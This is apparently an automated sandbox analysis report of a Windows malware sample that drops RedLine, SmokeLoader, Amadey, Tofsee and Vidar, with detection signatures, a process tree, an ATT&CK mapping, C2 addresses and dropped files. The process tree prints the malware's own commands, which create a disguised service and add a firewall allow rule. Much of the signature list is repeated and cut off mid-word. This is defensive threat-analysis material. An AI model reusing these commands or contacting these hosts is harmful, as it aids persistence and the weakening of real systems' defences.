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Windows Analysis Report 6zsU4O4WHq.exe

Overview

General Information

Sample 
Name:

6zsU4O4WHq.exe

Analysis ID: 553166

MD5: 8abe3174cfd23ab…

SHA1: 6370245ac968e3…

SHA256: 93fddb1a745fec7…

Tags: exe RedLineStealer

Infos:

Most interesting Screenshot:

Detection

Amadey RedLineAmadey RedLine
SmokeLoader TofseeSmokeLoader Tofsee

VidarVidarScore: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine StealerYara detected RedLine Stealer

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its oDetected unpacking (overwrites its o……

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoaderYara detected SmokeLoader

Yara detected Amadey bot

Yara detected Amadey bot

Yara detected Amadey bot

Yara detected Amadey bot

Yara detected Amadey bot

Yara detected Amadey bot

Yara detected Amadey botYara detected Amadey bot

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped fileAntivirus detection for dropped file

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost A

Sigma detected: Suspect Svchost ASigma detected: Suspect Svchost A……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE fBenign windows process drops PE f……

Yara detected Vidar stealer

Yara detected Vidar stealer

Yara detected Vidar stealer

Yara detected Vidar stealer

Yara detected Vidar stealer

Yara detected Vidar stealer

Yara detected Vidar stealerYara detected Vidar stealer

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Yara detected Tofsee

Yara detected Tofsee

Yara detected Tofsee

Yara detected Tofsee

Yara detected Tofsee

Yara detected Tofsee

Yara detected TofseeYara detected Tofsee

Sigma detected: Copying Sensitive 

Sigma detected: Copying Sensitive 

Sigma detected: Copying Sensitive 

Sigma detected: Copying Sensitive 

Sigma detected: Copying Sensitive 

Sigma detected: Copying Sensitive 

Sigma detected: Copying Sensitive Sigma detected: Copying Sensitive ……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stopFound evasive API chain (may stop……

Uses netsh to modify the Windows n

Uses netsh to modify the Windows n

Uses netsh to modify the Windows n

Uses netsh to modify the Windows n

Uses netsh to modify the Windows n

Uses netsh to modify the Windows n

Uses netsh to modify the Windows nUses netsh to modify the Windows n……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign processAllocates memory in foreign process……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stopFound evasive API chain (may stop……

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code Contains functionality to inject code ……

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installationDeletes itself after installation

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing Creates a thread in another existing ……

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dowHides that the sample has been dow……

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to CryptFound many strings related to Crypt……

Drops executables to the windows d

Drops executables to the windows d

Drops executables to the windows d

Drops executables to the windows d

Drops executables to the windows d

Drops executables to the windows d

Drops executables to the windows dDrops executables to the windows d……

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a vChecks if the current machine is a v……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

.NET source code references suspic

.NET source code references suspic

.NET source code references suspic

.NET source code references suspic

.NET source code references suspic

.NET source code references suspic

.NET source code references suspic.NET source code references suspic……

Changes security center settings (no

Changes security center settings (no

Changes security center settings (no

Changes security center settings (no

Changes security center settings (no

Changes security center settings (no

Changes security center settings (noChanges security center settings (no……

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stopFound evasive API chain (may stop……

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQChecks for kernel code integrity (NtQ……

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method .NET source code contains method ……

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sectionsPE file has nameless sections

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

Modifies the windows firewall

Modifies the windows firewall

Modifies the windows firewall

Modifies the windows firewall

Modifies the windows firewall

Modifies the windows firewall

Modifies the windows firewallModifies the windows firewall

Contains functionality to detect slee

Contains functionality to detect slee

Contains functionality to detect slee

Contains functionality to detect slee

Contains functionality to detect slee

Contains functionality to detect slee

Contains functionality to detect sleeContains functionality to detect slee……

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stopFound evasive API chain (may stop……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Process Tree
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Malware Configuration

System is w10x64

6zsU4O4WHq.exe (PID: 6264 cmdline: "C:\Users\user\Desktop\6zsU4O4WHq.exe"  MD5: 8ABE3174CFD23ABB63418DFA64109C7C)

6zsU4O4WHq.exe (PID: 6292 cmdline: "C:\Users\user\Desktop\6zsU4O4WHq.exe"  MD5: 8ABE3174CFD23ABB63418DFA64109C7C)

explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

8F12.exe (PID: 4564 cmdline: C:\Users\user\AppData\Local\Temp\8F12.exe MD5: 277680BD3182EB0940BC356FF4712BEF)

WerFault.exe (PID: 6824 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4564 -s 216 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

ADC7.exe (PID: 4676 cmdline: C:\Users\user\AppData\Local\Temp\ADC7.exe MD5: E1AF41681888A847863EE17BD63450A0)

D08E.exe (PID: 5640 cmdline: C:\Users\user\AppData\Local\Temp\D08E.exe MD5: E4B33586BFDB5A9CD45F3038B8F4CCBD)

cmd.exe (PID: 5824 cmdline: "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kxbxjngj\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 644 cmdline: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\lsjsgslc.exe" C:\Windows\SysWOW64\kxbxjngj\ 

MD5: F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 2960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 3296 cmdline: C:\Windows\System32\sc.exe" create kxbxjngj binPath= "C:\Windows\SysWOW64\kxbxjngj\lsjsgslc.exe /d\"C:\Users\user\AppDat

a\Local\Temp\D08E.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)
conhost.exe (PID: 6072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6080 cmdline: C:\Windows\System32\sc.exe" description kxbxjngj "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 3228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6532 cmdline: "C:\Windows\System32\sc.exe" start kxbxjngj MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 6692 cmdline: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow 

program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)
conhost.exe (PID: 1012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

E09C.exe (PID: 5592 cmdline: C:\Users\user\AppData\Local\Temp\E09C.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

svchost.exe (PID: 6548 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6660 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6856 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6960 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7080 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 7136 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 7156 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6760 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7000 cmdline: svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

bahuseh (PID: 5920 cmdline: C:\Users\user\AppData\Roaming\bahuseh MD5: 8ABE3174CFD23ABB63418DFA64109C7C)

bahuseh (PID: 4512 cmdline: C:\Users\user\AppData\Roaming\bahuseh MD5: 8ABE3174CFD23ABB63418DFA64109C7C)

svchost.exe (PID: 2372 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 4204 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4564 -ip 4564 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6840 cmdline: werfault.exe /h /shared Global\80ecccd770424135ad1b1b19d8526adb /t 1684 /p 1612 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)

svchost.exe (PID: 5852 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

lsjsgslc.exe (PID: 6760 cmdline: C:\Windows\SysWOW64\kxbxjngj\lsjsgslc.exe /d"C:\Users\user\AppData\Local\Temp\D08E.exe" MD5: 

12C7D1AC6B5167E6CDA092CD7B7313A1)
cleanup

No configs have been found

Source Rule Description Author Strings

dump.pcap JoeSecurity_Amadey Yara detected 
Amadey bot

Joe Security

dump.pcap JoeSecurity_RedLine_1 Yara detected 
RedLine Stealer

Joe Security

Source Rule Description Author Strings

0000001D.00000002.410123291.000000000063
0000.00000040.00000001.sdmp

JoeSecurity_Tofsee Yara detected 
Tofsee

Joe Security

0000002E.00000002.415135073.000000000040
0000.00000040.00020000.sdmp

JoeSecurity_Tofsee Yara detected 
Tofsee

Joe Security

0000001F.00000002.448023169.0000000003A3
1000.00000004.00000001.sdmp

JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

Yara Overview

PCAP (Network Traffic)

Memory Dumps
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Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Sigma detected: Copying Sensitive Files with Credential Data

Sigma detected: Netsh Port or Application Allowed

Sigma detected: New Service Creation

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Machine Learning detection for dropped file

Compliance:

Detected unpacking (overwrites its own PE header)

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

0000001D.00000002.409713162.000000000040
0000.00000040.00020000.sdmp

JoeSecurity_Tofsee Yara detected 
Tofsee

Joe Security

00000015.00000002.370380414.00000000004A
0000.00000004.00000001.sdmp

JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

Click to see the 15 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

21.1.bahuseh.400000.0.unpack JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

21.0.bahuseh.400000.5.unpack JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

21.0.bahuseh.400000.4.unpack JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

31.2.E09C.exe.3b4f910.1.raw.unpack JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

21.2.bahuseh.400000.0.unpack JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

Click to see the 16 entries

Unpacked PEs
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Yara detected SmokeLoader

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

System Summary:

PE file has nameless sections

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

.NET source code contains method to dynamically call methods (often used by packers)

Persistence and Installation Behavior:

Yara detected Amadey bot

Drops executables to the windows directory (C:\Windows) and starts them

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Hides that the sample has been downloaded from the Internet (zone.identifier)

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Found evasive API chain (may stop execution after checking locale)

Checks if the current machine is a virtual machine (disk enumeration)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Benign windows process drops PE files

Maps a DLL or memory area into another process

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Sample uses process hollowing technique

Writes to foreign memory regions

.NET source code references suspicious native API functions
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Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Changes security center settings (notifications, updates, antivirus, firewall)

Modifies the windows firewall

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Yara detected SmokeLoader

Yara detected Amadey bot

Yara detected Vidar stealer

Yara detected Tofsee

Found many strings related to Crypto-Wallets (likely being stolen)

Remote Access Functionality:

Yara detected RedLine Stealer

Yara detected SmokeLoader

Yara detected Vidar stealer

Yara detected Tofsee

Mitre Att&ck Matrix

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Valid
Accounts 1

Windows
Management
Instrumentation 1

DLL Side-
Loading 1

DLL Side-
Loading 1

Disable or Modify
Tools 3 1 1

Input
Capture 1

System Time
Discovery 2

Remote
Services

Archive
Collected
Data 1 1

Exfiltration Over Other
Network Medium

Ingress Tool
Transfer

Default
Accounts

Native
API 5 3 1

Valid
Accounts 1

Valid
Accounts 1

Deobfuscate/Decode
Files or
Information 1 1

LSASS
Memory

Account Discovery 1 Remote
Desktop
Protocol

Data from
Local
System 1

Exfiltration Over
Bluetooth

Encrypted
Channel

Domain
Accounts

Shared
Modules 1

Windows
Service 4

Access Token
Manipulation 1

Obfuscated Files or
Information 3

Security
Account
Manager

File and Directory
Discovery 2

SMB/Windows
Admin Shares

Input
Capture 1

Automated Exfiltration Non-Standard
Port 1

Local
Accounts

Exploitation for
Client
Execution 1

Logon Script
(Mac)

Windows
Service 4

Software
Packing 3 3

NTDS System Information
Discovery 2 3 7

Distributed
Component
Object Model

Input
Capture

Scheduled Transfer Non-
Application
Layer
Protocol

Cloud
Accounts

Command and
Scripting
Interpreter 3

Network
Logon Script

Process
Injection 8 1 3

Timestomp 1 LSA
Secrets

Query Registry 1 SSH Keylogging Data Transfer Size
Limits

Application
Layer
Protocol

Replication
Through
Removable
Media

Service
Execution 3

Rc.common Rc.common DLL Side-Loading 1 Cached
Domain
Credentials

Security Software
Discovery 5 8 1

VNC GUI Input
Capture

Exfiltration Over C2
Channel

Multiband
Communication

External
Remote
Services

Scheduled Task Startup
Items

Startup Items File Deletion 1 DCSync Process Discovery 2 Windows
Remote
Management

Web
Portal
Capture

Exfiltration Over
Alternative Protocol

Commonly
Used Port

Drive-by
Compromise

Command and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Masquerading 1 3 1 Proc
Filesystem

Virtualization/Sandbox
Evasion 2 4 1

Shared
Webroot

Credential
API
Hooking

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Application
Layer Protocol

Exploit Public-
Facing
Application

PowerShell At (Linux) At (Linux) Valid Accounts 1 /etc/passwd
and
/etc/shadow

Application Window
Discovery 1

Software
Deployment
Tools

Data
Staged

Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Web Protocols

Supply Chain
Compromise

AppleScript At
(Windows)

At (Windows) Access Token
Manipulation 1

Network
Sniffing

System Owner/User
Discovery 1

Taint Shared
Content

Local Data
Staging

Exfiltration Over
Unencrypted/Obfuscated
Non-C2 Protocol

File Transfer
Protocols
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Compromise
Software
Dependencies
and
Development
Tools

Windows
Command Shell

Cron Cron Virtualization/Sandbox
Evasion 2 4 1

Input
Capture

Remote System
Discovery 1

Replication
Through
Removable
Media

Remote
Data
Staging

Exfiltration Over
Physical Medium

Mail Protocols

Compromise
Software
Supply Chain

Unix Shell Launchd Launchd Process
Injection 8 1 3

Keylogging Local Groups Component
Object Model
and
Distributed
COM

Screen
Capture

Exfiltration over USB DNS

Compromise
Hardware
Supply Chain

Visual Basic Scheduled
Task

Scheduled Task Hidden Files and
Directories 1

GUI Input
Capture

Domain Groups Exploitation of
Remote
Services

Email
Collection

Commonly Used Port Proxy

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Behavior Graph
ID: 553166

Sample: 6zsU4O4WHq.exe

Startdate: 14/01/2022

Architecture: WINDOWS

Score: 100

microsoft-com.mail.protection.outlook.com

104.47.53.36, 25, 49840

MICROSOFT-CORP-MSN-AS-BLOCKUS

United States

patmushta.info

94.142.143.116, 443, 49852, 49928

IHOR-ASRU

Russian Federation

3 other IPs or domains

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Antivirus detection
for URL or domain

Antivirus detection
for dropped file 18 other signatures

6zsU4O4WHq.exe

        started       

bahuseh

        started       

lsjsgslc.exe

        started       

11 other processes

Contains functionality
to inject code into
remote processes

Injects a PE file into
a foreign processes

6zsU4O4WHq.exe

        started       

Machine Learning detection
for dropped file

bahuseh

        started       

Detected unpacking (changes
PE section rights)

Detected unpacking (overwrites
its own PE header)

Writes to foreign memory
regions

Allocates memory in
foreign processes

127.0.0.1

unknown

unknown

192.168.2.1

unknown

unknown

Changes security center
settings (notifications,

updates, antivirus,
firewall)

WerFault.exe

15

        started       

WerFault.exe

        started       

Checks for kernel code
integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Maps a DLL or memory
area into another process

Checks if the current
machine is a virtual

machine (disk enumeration)

explorer.exe

10

injected
Creates a thread in

another existing process
(thread injection)

185.233.81.115, 443, 49780

SUPERSERVERSDATACENTERRU

Russian Federation

81.163.30.181, 49909, 49914, 49917

IR-RASANAPISHTAZIR

Russian Federation

10 other IPs or domains

C:\Users\user\AppData\Roaming\bahuseh, PE32

dropped

C:\Users\user\AppData\Local\Temp09C.exe, PE32

dropped

C:\Users\user\AppData\Local\Temp\D08E.exe, PE32

dropped

10 other malicious files

dropped

System process connects
to network (likely due
to code injection or

exploit)

Benign windows process
drops PE files

Deletes itself after
installation

Hides that the sample
has been downloaded

from the Internet (zone.identifier)

ADC7.exe

        started       

D08E.exe

2

        started       

E09C.exe

        started       

8F12.exe

        started       

Multi AV Scanner detection
for dropped file

Detected unpacking (changes
PE section rights)

Detected unpacking (overwrites
its own PE header) 5 other signatures

C:\Users\user\AppData\Local\...\lsjsgslc.exe, PE32

dropped

Machine Learning detection
for dropped file

Uses netsh to modify
the Windows network
and firewall settings

Modifies the windows
firewall

cmd.exe

        started       

cmd.exe

        started       

sc.exe

        started       

3 other processes

Antivirus detection
for dropped file

Sample uses process
hollowing technique

Injects a PE file into
a foreign processes

WerFault.exe

23 9

        started       

C:\Windows\SysWOW64\...\lsjsgslc.exe (copy), PE32

dropped

conhost.exe

        started       

conhost.exe

        started       

conhost.exe

        started       

conhost.exe

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots
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Source Detection Scanner Label Link

6zsU4O4WHq.exe 51% ReversingLabs Win32.Trojan.Generic

6zsU4O4WHq.exe 100% Joe Sandbox ML

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\E09C.exe 100% Avira HEUR/AGEN.1211353

C:\Users\user\AppData\Local\Temp\lsjsgslc.exe 100% Avira TR/Crypt.XPACK.Gen

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files
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C:\Users\user\AppData\Local\Temp\6687.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\8F12.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\D08E.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\9991.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\A5E6.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\74E0.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\8E93.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\B299.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\ADC7.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\52A0.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Roaming\bahuseh 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\E09C.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\lsjsgslc.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\52A0.exe 34% Metadefender Browse

C:\Users\user\AppData\Local\Temp\52A0.exe 77% ReversingLabs Win32.Ransomware.StopC
rypt

C:\Users\user\AppData\Local\Temp\6687.exe 29% Metadefender Browse

C:\Users\user\AppData\Local\Temp\6687.exe 81% ReversingLabs Win32.Trojan.Raccrypt

C:\Users\user\AppData\Local\Temp\8F12.exe 46% Metadefender Browse

C:\Users\user\AppData\Local\Temp\8F12.exe 77% ReversingLabs Win32.Trojan.Raccoon

C:\Users\user\AppData\Local\Temp\9991.exe 34% Metadefender Browse

C:\Users\user\AppData\Local\Temp\9991.exe 77% ReversingLabs Win32.Ransomware.StopC
rypt

C:\Users\user\AppData\Local\Temp\A5E6.exe 50% ReversingLabs Win32.Infostealer.Generic

C:\Users\user\AppData\Local\Temp\ADC7.exe 44% ReversingLabs Win32.Trojan.Zenpak

Source Detection Scanner Label Link

Source Detection Scanner Label Link Download

46.2.lsjsgslc.exe.700000.2.unpack 100% Avira BDS/Backdoor.Gen Download File

22.0.8F12.exe.500e50.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

26.2.ADC7.exe.630e50.1.unpack 100% Avira TR/Patched.Ren.Gen Download File

1.0.6zsU4O4WHq.exe.400000.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

22.2.8F12.exe.500e50.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

21.0.bahuseh.400000.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

21.0.bahuseh.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

29.3.D08E.exe.650000.0.unpack 100% Avira TR/Patched.Ren.Gen Download File

21.0.bahuseh.400000.2.unpack 100% Avira HEUR/AGEN.1123244 Download File

21.1.bahuseh.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

22.0.8F12.exe.400000.6.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

20.2.bahuseh.7415a0.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

31.0.E09C.exe.6c0000.1.unpack 100% Avira HEUR/AGEN.1211353 Download File

21.2.bahuseh.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

